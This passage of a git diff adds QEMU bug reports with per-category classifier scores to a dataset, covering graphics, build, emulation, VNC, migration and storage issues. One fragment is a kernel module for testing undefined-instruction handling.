0x0, // any pstate + .cpsr_val = 0x0, // any pstate + .fn = undef_instr_handler +}; +int init_module(void) { + // Lookup wanted symbols. + register_undef_hook(&uh); + __asm__ __volatile__("push {R0-R12}"); + __asm__ __volatile__( + ".global inialize_location\n" + "inialize_location:\n" + "mov r0, %[reg_init] \n" + "mov r1, %[reg_init] \n" + "mov r2, %[reg_init] \n" + "mov r3, %[reg_init] \n" + "mov r4, %[reg_init] \n" + "mov r5, %[reg_init] \n" + "mov r6, %[reg_init] \n" + "mov r7, %[reg_init] \n" + "mov r8, %[reg_init] \n" + "mov r9, %[reg_init] \n" + "mov r10, %[reg_init] \n" + "mov r11, %[reg_init] \n" + "mov r12, %[reg_init] \n" + : + : [reg_init] "n"(0) + ); + // =======TODO======= + // replace nop with test instruction + __asm__ __volatile__( + ".global inst_location\n" + "inst_location:\n" + "nop\n" + ); + // kgdb_breakpoint(); + __asm__ __volatile__( + ".global finish_location\n" + "finish_location:\n" + ); + __asm__ __volatile__("pop {R0-R12}"); + return 0; +} + +void cleanup_module(void) { + unregister_undef_hook(&uh); +} +``` +Additional information: + diff --git a/results/classifier/108/graphic/1530 b/results/classifier/108/graphic/1530 new file mode 100644 index 000000000..246e584d3 --- /dev/null +++ b/results/classifier/108/graphic/1530 @@ -0,0 +1,26 @@ +graphic: 0.931 +device: 0.879 +performance: 0.744 +debug: 0.529 +semantic: 0.479 +PID: 0.398 +permissions: 0.310 +boot: 0.218 +other: 0.173 +socket: 0.101 +vnc: 0.087 +files: 0.083 +network: 0.038 +KVM: 0.006 + +Problem with sdl,gl=on windows 10 +Description of problem: +sdl window opens with black screen, freezes, then crashes +Steps to reproduce: +1. run the command +Additional information: +- Works fine with just `sdl`, running `gtk,gl=on` outputs `opengl is not supported by the display` +- tried with both `-vga virtio` and `vga std`, same result +- tried with SVM turned on and off (AMD cpu, ryzen 2600x), same result +- built the project `./configure --enable-gtk --enable-sdl --enable-opengl, saw the `OK` for all 3 +- have opengl ver 4.6 diff --git a/results/classifier/108/graphic/1531632 b/results/classifier/108/graphic/1531632 new file mode 100644 index 000000000..fad331c3c --- /dev/null +++ b/results/classifier/108/graphic/1531632 @@ -0,0 +1,130 @@ +graphic: 0.939 +semantic: 0.924 +performance: 0.922 +debug: 0.921 +permissions: 0.915 +KVM: 0.901 +vnc: 0.894 +PID: 0.892 +socket: 0.880 +device: 0.880 +network: 0.879 +other: 0.870 +files: 0.856 +boot: 0.849 + +Can't compile qemu because of errors in the Xen code + +I'm using Arch Linux, with all needed libs packages installed via ABS (compiled from source). +I tried to clone the master repository, the v2.5.0 and the stable-2.4.0, all I had the same problems: + +First I have to disable -Werror, because it claims about some uninitialized variables. + +Trying to compile the code, it stops when compiling the xen code (hw/block/xendisk.o), complaining that ioservid_t is declared twice, first as 16bit and then as 32bit. + +Output of make: + + CC hw/block/xen_disk.o +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:198:18: error: conflicting types for ‘ioservid_t’ + typedef uint16_t ioservid_t; + ^ +In file included from /usr/include/xenctrl.h:37:0, + from /home/leo/qemu/include/hw/xen/xen_common.h:9, + from /home/leo/qemu/include/hw/xen/xen_backend.h:4, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/usr/include/xen/xen.h:353:18: note: previous declaration of ‘ioservid_t’ was here + typedef uint32_t ioservid_t; + ^ +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h: In function ‘xen_get_ioreq_server_info’: +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: error: ‘HVM_PARAM_IOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_IOREQ_PFN, ¶m); + ^ +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: note: each undeclared identifier is reported only once for each function it appears in +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:264:36: error: ‘HVM_PARAM_BUFIOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_BUFIOREQ_PFN, ¶m); + ^ +/home/leo/qemu/rules.mak:57: recipe for target 'hw/block/xen_disk.o' failed +make: *** [hw/block/xen_disk.o] Error 1 +[leo@AlphaArch build]$ make + CC hw/block/xen_disk.o +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:198:18: error: conflicting types for ‘ioservid_t’ + typedef uint16_t ioservid_t; + ^ +In file included from /usr/include/xenctrl.h:37:0, + from /home/leo/qemu/include/hw/xen/xen_common.h:9, + from /home/leo/qemu/include/hw/xen/xen_backend.h:4, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/usr/include/xen/xen.h:353:18: note: previous declaration of ‘ioservid_t’ was here + typedef uint32_t ioservid_t; + ^ +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h: In function ‘xen_get_ioreq_server_info’: +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: error: ‘HVM_PARAM_IOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_IOREQ_PFN, ¶m); + ^ +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: note: each undeclared identifier is reported only once for each function it appears in +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:264:36: error: ‘HVM_PARAM_BUFIOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_BUFIOREQ_PFN, ¶m); + ^ +/home/leo/qemu/rules.mak:57: recipe for target 'hw/block/xen_disk.o' failed +make: *** [hw/block/xen_disk.o] Error 1 +[leo@AlphaArch build]$ make + CC hw/block/xen_disk.o +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:198:18: error: conflicting types for ‘ioservid_t’ + typedef uint16_t ioservid_t; + ^ +In file included from /usr/include/xenctrl.h:37:0, + from /home/leo/qemu/include/hw/xen/xen_common.h:9, + from /home/leo/qemu/include/hw/xen/xen_backend.h:4, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/usr/include/xen/xen.h:353:18: note: previous declaration of ‘ioservid_t’ was here + typedef uint32_t ioservid_t; + ^ +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h: In function ‘xen_get_ioreq_server_info’: +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: error: ‘HVM_PARAM_IOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_IOREQ_PFN, ¶m); + ^ +/home/leo/qemu/include/hw/xen/xen_common.h:256:36: note: each undeclared identifier is reported only once for each function it appears in +In file included from /home/leo/qemu/include/hw/xen/xen_backend.h:4:0, + from /home/leo/qemu/hw/block/xen_disk.c:39: +/home/leo/qemu/include/hw/xen/xen_common.h:264:36: error: ‘HVM_PARAM_BUFIOREQ_PFN’ undeclared (first use in this function) + rc = xc_get_hvm_param(xc, dom, HVM_PARAM_BUFIOREQ_PFN, ¶m); + ^ +/home/leo/qemu/rules.mak:57: recipe for target 'hw/block/xen_disk.o' failed +make: *** [hw/block/xen_disk.o] Error 1 + +Can you post the `configure` command line you used when you try to compile? + +Hello pranith, + + Well, as I'm using the "ABS" system from Arch Linux, I had to study how it compile things, but I found it: + +./configure --prefix=/usr --sysconfdir=/etc --audio-drv-list='pa alsa sdl' \ + --python=/usr/bin/python2 --smbd=/usr/bin/smbd \ + --enable-docs --libexecdir=/usr/lib/qemu \ + --disable-gtk --enable-linux-aio --enable-seccomp \ + --enable-spice --localstatedir=/var \ + --enable-tpm \ + --enable-modules --enable-{rbd,glusterfs,libiscsi,curl} + +Then I downloaded a copy of qemu with git and I run the configure help (configure --help), then I saw that I can "enable/disable" xen, so I added the ---disable-xen to the above line in the PKGBUILD file from ABS and it compiled. +So, on **my** box I just had to disable Xen as I don't use it. +Thank you for your help. + +OK. I am closing this then. :) + diff --git a/results/classifier/108/graphic/1534683 b/results/classifier/108/graphic/1534683 new file mode 100644 index 000000000..6ea76197a --- /dev/null +++ b/results/classifier/108/graphic/1534683 @@ -0,0 +1,33 @@ +graphic: 0.970 +device: 0.918 +other: 0.683 +semantic: 0.682 +performance: 0.641 +PID: 0.637 +network: 0.621 +vnc: 0.617 +debug: 0.583 +socket: 0.474 +boot: 0.454 +files: 0.432 +permissions: 0.417 +KVM: 0.225 + +no mouse cursor / qxl / windows seven guest + +Hello, +When i'm using qxl graphic card with qemu 2.4.1 , and sdl2 client ( display ) , in a windows seven guest vm , there's no mouse cursor. +I'm using last qxl driver. + +With windows8.1 , there is no problem, mouse cursor is present. + +I need this to use two monitor with a windows guest, + +any suggestions are welcome, +Regards, + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1535 b/results/classifier/108/graphic/1535 new file mode 100644 index 000000000..8303e6c42 --- /dev/null +++ b/results/classifier/108/graphic/1535 @@ -0,0 +1,106 @@ +graphic: 0.947 +semantic: 0.940 +other: 0.937 +permissions: 0.928 +KVM: 0.924 +debug: 0.922 +performance: 0.918 +device: 0.917 +vnc: 0.894 +PID: 0.882 +socket: 0.864 +boot: 0.854 +files: 0.781 +network: 0.770 + +spapr set host serial number visible to AIX from -M pseries,host-serial and not -uuid +Description of problem: +-M pseries,host-serial populates "/host-serial" which is not used in AIX and populates "/system-id" with UUID instead of serial number. Patch to write host-serial passed to -M as "/system-id" prefixed with IBM,06 visible from `uname -u` and `nmon`. +Steps to reproduce: +1. Set -uuid and -M pseries,host-serial +2. Execute `uname -u` and `nmon` in guest +Additional information: +Patch: +``` +diff -ru a/hw/ppc/spapr.c b/hw/ppc/spapr.c +--- a/hw/ppc/spapr.c 2023-03-06 13:59:32.942881783 -0500 ++++ b/hw/ppc/spapr.c 2023-03-06 21:37:32.504570961 -0500 +@@ -1163,7 +1163,10 @@ + } + + if (spapr->host_serial) { +- _FDT(fdt_setprop_string(fdt, 0, "host-serial", spapr->host_serial)); ++ /* plus 1 byte for null character */ ++ char result[sizeof("IBM,06") + sizeof(spapr->host_serial) + 1]; ++ snprintf(result, sizeof(result), "%s%s", "IBM,06", spapr->host_serial); ++ _FDT(fdt_setprop_string(fdt, 0, "system-id", result)); + } else if (smc->broken_host_serial_model && kvmppc_get_host_serial(&buf)) { + _FDT(fdt_setprop_string(fdt, 0, "host-serial", buf)); + g_free(buf); +``` + +Before patch: +``` +$ uname -u +2d861abf-5cb7-434a-86d5-65167d85e5af + +$ nmon +┌──────────────────────────────────────────────────────────────────────────────────┐ +│ ------------------------------ │ +│ N N M M OOOO N N For online help type: h │ +│ NN N MM MM O O NN N For command line option help: │ +│ N N N M MM M O O N N N quick-hint nmon -? │ +│ N N N M M O O N N N full-details nmon -h │ +│ N NN M M O O N NN To start nmon the same way every time? │ +│ N N M M OOOO N N set NMON ksh variable, for example: │ +│ ------------------------------ export NMON=cmt │ +│ TOPAS_NMON │ +│ 8 - CPUs currently │ +│ 8 - CPUs configured │ +│ 1000 - MHz CPU clock rate (press 'r' for current MHz) │ +│ PowerPC_POWER10 - Processor │ +│ 64 bit - Hardware │ +│ 64 bit - Kernel │ +│ 0,IBM AIX - IBM POWER10 - Logical Partition │ +│ 7.2.5.200 TL05 - AIX Kernel Version │ +│ aix-ppc64 - Hostname │ +│ aix-ppc64 - Node/WPAR Name │ +│ bf-5cb7 - Serial Number │ +│ IBM,9080-HEX - Machine Type │ +│ │ +│ │ +└────────────────────────────────────────────────────────────────────────────────── +``` +After patch: +``` +$ uname -u +IBM,0678AB123 + +$ nmon +┌──────────────────────────────────────────────────────────────────────────────────┐ +│ ------------------------------ │ +│ N N M M OOOO N N For online help type: h │ +│ NN N MM MM O O NN N For command line option help: │ +│ N N N M MM M O O N N N quick-hint nmon -? │ +│ N N N M M O O N N N full-details nmon -h │ +│ N NN M M O O N NN To start nmon the same way every time? │ +│ N N M M OOOO N N set NMON ksh variable, for example: │ +│ ------------------------------ export NMON=cmt │ +│ TOPAS_NMON │ +│ 8 - CPUs currently │ +│ 8 - CPUs configured │ +│ 1000 - MHz CPU clock rate (press 'r' for current MHz) │ +│ PowerPC_POWER10 - Processor │ +│ 64 bit - Hardware │ +│ 64 bit - Kernel │ +│ 0,IBM AIX - IBM POWER10 - Logical Partition │ +│ 7.2.5.200 TL05 - AIX Kernel Version │ +│ aix-ppc64 - Hostname │ +│ aix-ppc64 - Node/WPAR Name │ +│ 78AB123 - Serial Number │ +│ IBM,9080-HEX - Machine Type │ +│ │ +│ │ +└────────────────────────────────────────────────────────────────────────────────── +``` +Note first 6 characters of serial number are cropped by nmon ("IBM,06") diff --git a/results/classifier/108/graphic/1536 b/results/classifier/108/graphic/1536 new file mode 100644 index 000000000..087b91eee --- /dev/null +++ b/results/classifier/108/graphic/1536 @@ -0,0 +1,31 @@ +graphic: 0.981 +other: 0.953 +semantic: 0.928 +performance: 0.922 +device: 0.901 +PID: 0.881 +network: 0.879 +socket: 0.872 +debug: 0.854 +permissions: 0.834 +KVM: 0.818 +vnc: 0.816 +boot: 0.785 +files: 0.768 + +Test programs that use the vextractbm, vextracthm, vextractwm, or vextractdm instructions fail on qemu-ppc64 (but not qemu-ppc64le) +Description of problem: +Some of the test programs that use the vextractbm, vextracthm, vextractwm, or vextractdm instructions fail on qemu-ppc64 (but not qemu-ppc64le). +Steps to reproduce: +1. Download the vsx_mask_extract_runnable_test_030723.c test program from https://gist.githubusercontent.com/johnplatts/db0e9f6683e85e9288fde5c031b3c0e5/raw/ccfb8170f3e613398750830451eebb362875493d/vsx_mask_extract_runnable_test_030723.c. +2. Install the ppc64 gcc cross-compiler and required libraries, which can be done using the ```sudo apt install build-essential gdb-multiarch g++-12-powerpc64-linux-gnu binutils-powerpc64-linux-gnu binutils-powerpc64-linux-gnu-dbg libc6-ppc64-cross libstdc++6-ppc64-cross``` command on Ubuntu 22.04. +3. Compile the vsx_mask_extract_runnable_test_030723.c test program downloaded in step 1 using the ```powerpc64-linux-gnu-gcc-12``` cross-compiler with the ```-mcpu=power10``` option. +4. Execute the program compiled in step 3 using the ```QEMU_LD_PREFIX=/usr/powerpc64-linux-gnu qemu-ppc64 -cpu power10 ./vsx_mask_extract_runnable_test_030723``` command. + +The issue can also be reproduced by compiling Google Highway and running its unit tests as follows: +1. Clone the Google Highway git repository by running the ```git clone https://github.com/google/highway.git google_highway``` command. +2. Create a ```hwy_ppcbe10_build``` directory inside of the ```google_highway``` directory created in step #1. +3. In the ```hwy_ppc10be_build``` directory created in the previous step, execute the following commands: + - ```CC=powerpc64-linux-gnu-gcc-12 CXX=powerpc64-linux-gnu-g++-12 cmake .. -DCMAKE_BUILD_TYPE=Release -DCMAKE_C_COMPILER_TARGET="powerpc64-linux-gnu" -DCMAKE_CXX_COMPILER_TARGET="powerpc64-linux-gnu" -DCMAKE_CROSSCOMPILING=true -DCMAKE_CROSSCOMPILING_EMULATOR='/usr/local/bin/qemu-ppc64;-cpu;power10' -DCMAKE_C_FLAGS='-mcpu=power10 -DHWY_DISABLED_TARGETS=6918373452571213824' -DCMAKE_CXX_FLAGS='-mcpu=power10 -DHWY_DISABLED_TARGETS=6918373452571213824'``` + - ```QEMU_LD_PREFIX=/usr/powerpc64-linux-gnu make``` + - ```QEMU_LD_PREFIX=/usr/powerpc64-linux-gnu ctest -j``` diff --git a/results/classifier/108/graphic/1537 b/results/classifier/108/graphic/1537 new file mode 100644 index 000000000..dd26ddaf0 --- /dev/null +++ b/results/classifier/108/graphic/1537 @@ -0,0 +1,26 @@ +graphic: 0.977 +files: 0.960 +boot: 0.934 +performance: 0.892 +device: 0.887 +semantic: 0.844 +debug: 0.689 +PID: 0.687 +other: 0.647 +permissions: 0.632 +vnc: 0.493 +socket: 0.347 +KVM: 0.069 +network: 0.063 + +One-floppy windows 3.11 file manager does not work in tcg mode +Description of problem: +When I try to boot mini win 3.11 from https://archive.org/details/mwin-3 it boots into desktop ok, but double-clicking on file manager icon result in black window/GPF (briefly flashing text I can't fully read). + +Starting it with boot choice 2 - with emm386 - same action result in machine reboot. + +Using same disk with kvm works for choice #2 (boot with emm386) +Steps to reproduce: +1. Download IMG file from Arhivce org +2. Run it like I shown above +3. Any (out of two) boot choices lead to same outcome - desktop and say ms-dos console works, but launching file manager gives you black screen/error diff --git a/results/classifier/108/graphic/1550 b/results/classifier/108/graphic/1550 new file mode 100644 index 000000000..2ee9cad5f --- /dev/null +++ b/results/classifier/108/graphic/1550 @@ -0,0 +1,31 @@ +graphic: 0.972 +performance: 0.857 +device: 0.784 +semantic: 0.763 +permissions: 0.660 +other: 0.657 +PID: 0.603 +boot: 0.585 +debug: 0.502 +network: 0.489 +socket: 0.471 +vnc: 0.463 +files: 0.424 +KVM: 0.411 + +Crazy mouse movement when passing `-M pc,vmport=off -accel kvm -vga virtio` at the same time +Description of problem: +The mouse cursor is unusable in an x86 guest (disappears, jumps around like crazy) in a graphical environment when `-M pc,vmport=off -accel kvm -vga virtio` is given at the same time. +Steps to reproduce: +1. Download https://download.manjaro.org/xfce/22.0.5/manjaro-xfce-22.0.5-230316-linux61.iso +2. Start above command +3. Wait until the graphical desktop appears +4. Click inside the window and move the mouse + +-> Mouse cursor disappears or jumps around like crazy +Additional information: +If vmport=off is **not** passed, at some point during startup (before graphical login manager appears) the guest switches to use vmmouse from PS/2 mouse. There it also requests usage of absolute input coordinates (VMMOUSE_REQUEST_ABSOLUTE). This code path works normal. Therefore the culprit might be in the guest. + +Another way to reproduce the issue is to use -accel whpx under Windows host (no need to pass vmport=off there). It can be observed that the same guest doesn't attempt to switch to vmmouse there, just like passing vmport=off under Linux. + +The problem does not exist on Linux host when -accel tcg is used in which case the guest doesn't attempt to switch to vmmouse. diff --git a/results/classifier/108/graphic/1554451 b/results/classifier/108/graphic/1554451 new file mode 100644 index 000000000..4dfa9356e --- /dev/null +++ b/results/classifier/108/graphic/1554451 @@ -0,0 +1,35 @@ +graphic: 0.925 +network: 0.903 +device: 0.842 +performance: 0.783 +other: 0.776 +semantic: 0.723 +debug: 0.694 +PID: 0.693 +permissions: 0.688 +files: 0.660 +vnc: 0.597 +socket: 0.577 +KVM: 0.450 +boot: 0.422 + +unable to create preallocated image with gluster network protocol + +Unable to create preallocated image with gluster protocol + +Version: qemu-img-0.12.1.2-2.479.el6.x86_64 +Platform: RHEL 6 +I have tried creating preallocated image as follows : + +qemu-img create -f qcow2 -o preallocation=full gluster://localhost/vol1/vm1.img 10G + +I see error a follows : +[root@ ]# qemu-img create -f qcow2 -o preallocation=full gluster://localhost/rep3vol/vm1.img 5G +Formatting 'gluster://dhcp37-61.lab.eng.blr.redhat.com/rep3vol/newvm3.img', fmt=qcow2 size=3221225472 encryption=off cluster_size=65536 preallocation='full' +Unknown option 'preallocation' + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1581 b/results/classifier/108/graphic/1581 new file mode 100644 index 000000000..c7915c2cc --- /dev/null +++ b/results/classifier/108/graphic/1581 @@ -0,0 +1,29 @@ +graphic: 0.966 +device: 0.704 +semantic: 0.625 +PID: 0.579 +performance: 0.491 +boot: 0.467 +vnc: 0.419 +other: 0.398 +socket: 0.397 +debug: 0.365 +network: 0.293 +files: 0.286 +permissions: 0.277 +KVM: 0.014 + +QEMU TCG crashes when running on windows +Description of problem: +QEMU crashes immediately after startup and shows an assertion failure： + +ERROR:C:/msys64/home/xxx/qemu/tcg/i386/tcg-target.c.inc:1085:tcg_out_addi_ptr: assertion failed: (64 == 32) + +Bail out! ERROR:C:/msys64/home/xxx/qemu/tcg/i386/tcg-target.c.inc:1085:tcg_out_addi_ptr: assertion failed: (64 == + 32) +Steps to reproduce: +NA +Additional information: +1. This problem only occurs when the host system is windows, and the same QEMU configuration does not have this problem when the host system is Linux. +2. This problem is related to the -smp parameter of QEMU. If the smp parameter is 1, this problem will not occur. +3. This problem does not exist in the QEMU version 7.2. diff --git a/results/classifier/108/graphic/1593 b/results/classifier/108/graphic/1593 new file mode 100644 index 000000000..c894408a5 --- /dev/null +++ b/results/classifier/108/graphic/1593 @@ -0,0 +1,22 @@ +graphic: 0.927 +network: 0.834 +other: 0.800 +device: 0.799 +socket: 0.759 +vnc: 0.472 +debug: 0.469 +files: 0.466 +PID: 0.395 +boot: 0.330 +semantic: 0.276 +permissions: 0.245 +performance: 0.191 +KVM: 0.145 + +SLIRP hostfwd ignores bind address and uses `INADDR_ANY` +Description of problem: +When using `-netdev hostfwd=`..., qemu SLIRP uses `INADDR_ANY` instead of any bind address provided by the user. As a result, even if the user specifies to listen only on localhost (e.g. `-netdev user,hostfwd=tcp:127.0.0.1:22-:22`), qemu will listen on `*.*`. This is a potential security issue (as it may unexpectedly expose the guest to internet or local network traffic). +Additional information: +The bug is here: https://gitlab.com/qemu-project/qemu/-/blob/master/net/slirp.c#L777 + +Rather than hardcoding `INADDR_ANY`, qemu should respect the user-defined bind address. diff --git a/results/classifier/108/graphic/1596 b/results/classifier/108/graphic/1596 new file mode 100644 index 000000000..fcd8b70ca --- /dev/null +++ b/results/classifier/108/graphic/1596 @@ -0,0 +1,35 @@ +graphic: 0.997 +device: 0.943 +semantic: 0.905 +vnc: 0.898 +performance: 0.829 +other: 0.822 +debug: 0.805 +network: 0.710 +permissions: 0.539 +PID: 0.499 +socket: 0.419 +boot: 0.303 +files: 0.221 +KVM: 0.020 + +VNC console with 4K resolutions is cut off on the right side and mouse coordinates are offset (or horizontal res greater than 2600-3000 pixels) +Description of problem: +For some reason when connecting to the VNC console of a QEMU VM, when you use a resolution that has its horizontal size of about 3000 pixels or more, it gets cut off by about 1/4 of the screen from the right, and the mouse position is offset by that value towards the left. See image for explanation: + + +Steps to reproduce: +1. Create a Fedora 37 VM +2. Use `virtio-vga-gl` and `egl-headless` +3. Set the resolution to 4K (3840x2160) or anything with the horizontal resolution greater than 3000 pixels +4. Use Windows to connect to the VNC console. Issue happens with TightVNC Viewer and RealVNC Viewer +Additional information: +I also tried `-device virtio-vga-gl,edid=off,xres=3840,yres=2160`. Same result, but `edid=off` helps to make 2560x1600 appear, making it bearable. + +This also happens with Wayland and Xorg. + +Please note that while it's possible to use Gnome's Screen Sharing (RDP/VNC) options, as well as NoMachine or other options, this is an undesirable behavior in QEMU's VNC server/console that should be fixed (and can, the VNC protocol perfectly supports 4K without issues) + +Not to mention that, at least in my use case, the VNC console is faster than the alternatives, even SPICE (connecting from Windows is barely unusable at 4K res - it's a bliss from Linux. Both cases from a remote machine in the same LAN, but that is unrelated to this bug). + +I would happily try different use cases to try to help nail down this bug :smile: diff --git a/results/classifier/108/graphic/1600563 b/results/classifier/108/graphic/1600563 new file mode 100644 index 000000000..e0c04a646 --- /dev/null +++ b/results/classifier/108/graphic/1600563 @@ -0,0 +1,56 @@ +graphic: 0.945 +KVM: 0.884 +device: 0.846 +performance: 0.833 +files: 0.811 +other: 0.793 +semantic: 0.750 +debug: 0.640 +permissions: 0.635 +network: 0.570 +PID: 0.548 +socket: 0.509 +vnc: 0.446 +boot: 0.393 + +min_io_size is currently limited to size uint16_t + +I am using LVM VGs on MD-raid1 for hosting my KVM volumes. On the host, a VG looks like this: + +Disk /dev/vm/vol202a: 60 GiB, 64424509440 bytes, 125829120 sectors +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 4096 bytes +I/O size (minimum/optimal): 131072 bytes / 131072 bytes + +In order to replicate the block device characteristics in the guest, I am using the following extra parameters: + +-set device.scsi0-0-0-0.logical_block_size=512 +-set device.scsi0-0-0-0.physical_block_size=4096 +-set device.scsi0-0-0-0.min_io_size=131072 + +This doesn't work as qemu complains that min_io_size needs to be of type uint16_t. + +The value is set to uint16_t by mistake. The value is passed to Qemu in bytes, but then it is divided by the sector size and passed to the vm in sectors through a 16 bit register field. The vm kernel then multiplies it again by sector size and shows (through /sys/block/x/queue) the value in bytes. Because of this, the input value from the qemu side should be uint32_t. + +A simple patch is attached, correcting the problem. I think some extra logic should be added after dividing by the page size, to prevent overflowing the 16 bit register. + +With that patch, I can pass a 4MB min and optimal io sizes successfully, to match the stripe size used by RBD/Ceph. Sadly though, I see no improvement coming out of it, but I'll document that in a separate bug report. + +root@cephvm:~# lsblk -t +NAME ALIGNMENT MIN-IO OPT-IO PHY-SEC LOG-SEC ROTA SCHED RQ-SIZE RA WSAME +sda 0 4194304 4194304 512 512 1 noop 128 4096 2G + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1603970 b/results/classifier/108/graphic/1603970 new file mode 100644 index 000000000..b03e36457 --- /dev/null +++ b/results/classifier/108/graphic/1603970 @@ -0,0 +1,55 @@ +graphic: 0.916 +debug: 0.916 +other: 0.914 +semantic: 0.911 +KVM: 0.906 +permissions: 0.905 +network: 0.904 +device: 0.903 +boot: 0.890 +performance: 0.888 +files: 0.888 +PID: 0.888 +socket: 0.882 +vnc: 0.875 + +KVM freezes after live migration (AMD 4184 -> 4234) + +Hi, + +i have two host systems with different CPU types: + +Host A: +AMD Opteron(tm) Processor 4234 + +Host B: +AMD Opteron(tm) Processor 4184 + +Live migration from B -> A works as expected, migration from A -> B always ends in a freezed KVM. If the KVM is frozen, VNC output is still present, however, you can't type anything. CPU usage is always at 100% for one core (so if i set two cores, one is at 100% the other one at 0% usage). + +My command to launch the KVM is the following: + +/usr/bin/kvm -id 104 -chardev socket,id=qmp,path=/var/run/qemu-server/104.qmp,server,nowait -mon chardev=qmp,mode=control -pidfile /var/run/qemu-server/104.pid -daemonize -smbios type=1,uuid=26dd83a9-b9bd-4641-8016-c55f255f1bdf -name kilian-test -smp 1,sockets=1,cores=1,maxcpus=1 -nodefaults -boot menu=on,strict=on,reboot-timeout=1000 -vga cirrus -vnc unix:/var/run/qemu-server/104.vnc,x509,password -cpu kvm64,+lahf_lm,+sep,+kvm_pv_unhalt,+kvm_pv_eoi,enforce -m 512 -object memory-backend-ram,id=ram-node0,size=512M -numa node,nodeid=0,cpus=0,memdev=ram-node0 -k de -device pci-bridge,id=pci.2,chassis_nr=2,bus=pci.0,addr=0x1f -device pci-bridge,id=pci.1,chassis_nr=1,bus=pci.0,addr=0x1e -device piix3-usb-uhci,id=uhci,bus=pci.0,addr=0x1.0x2 -device usb-tablet,id=tablet,bus=uhci.0,port=1 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x3 -iscsi initiator-name=iqn.1993-08.org.debian:01:5ca1e9d334b2 -drive file=/mnt/pve/nfs_synology/images/104/vm-104-disk-2.qcow2,if=none,id=drive-virtio0,format=qcow2,cache=none,aio=native,detect-zeroes=on -device virtio-blk-pci,drive=drive-virtio0,id=virtio0,bus=pci.0,addr=0xa,bootindex=100 -netdev type=tap,id=net0,ifname=tap104i0,script=/var/lib/qemu-server/pve-bridge,downscript=/var/lib/qemu-server/pve-bridgedown,vhost=on -device virtio-net-pci,mac=66:33:31:36:35:36,netdev=net0,bus=pci.0,addr=0x12,id=net0,bootindex=300 + + +KVM / QEMU version: QEMU emulator version 2.5.1.1 + +I have tried to set different CPU types, but no one works (qemu64, vm64, Opteron_G1, ...). + + +I have found an email from 2014 where another user reports exactly the same problem: + +http://lists.gnu.org/archive/html/qemu-discuss/2014-02/msg00002.html + +Greets +Kilian + +Found another post from a user in the proxmox forum which has a similar problem (only difference are the CPUs in use): + +https://forum.proxmox.com/threads/vm-freezeing-with-vcpu-at-100-when-doing-livemigration.25987/ + + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1609 b/results/classifier/108/graphic/1609 new file mode 100644 index 000000000..1a4563454 --- /dev/null +++ b/results/classifier/108/graphic/1609 @@ -0,0 +1,34 @@ +graphic: 0.979 +device: 0.767 +PID: 0.754 +semantic: 0.719 +files: 0.674 +performance: 0.554 +debug: 0.486 +network: 0.452 +permissions: 0.444 +other: 0.441 +vnc: 0.419 +socket: 0.410 +boot: 0.306 +KVM: 0.035 + +SPARC emulation: 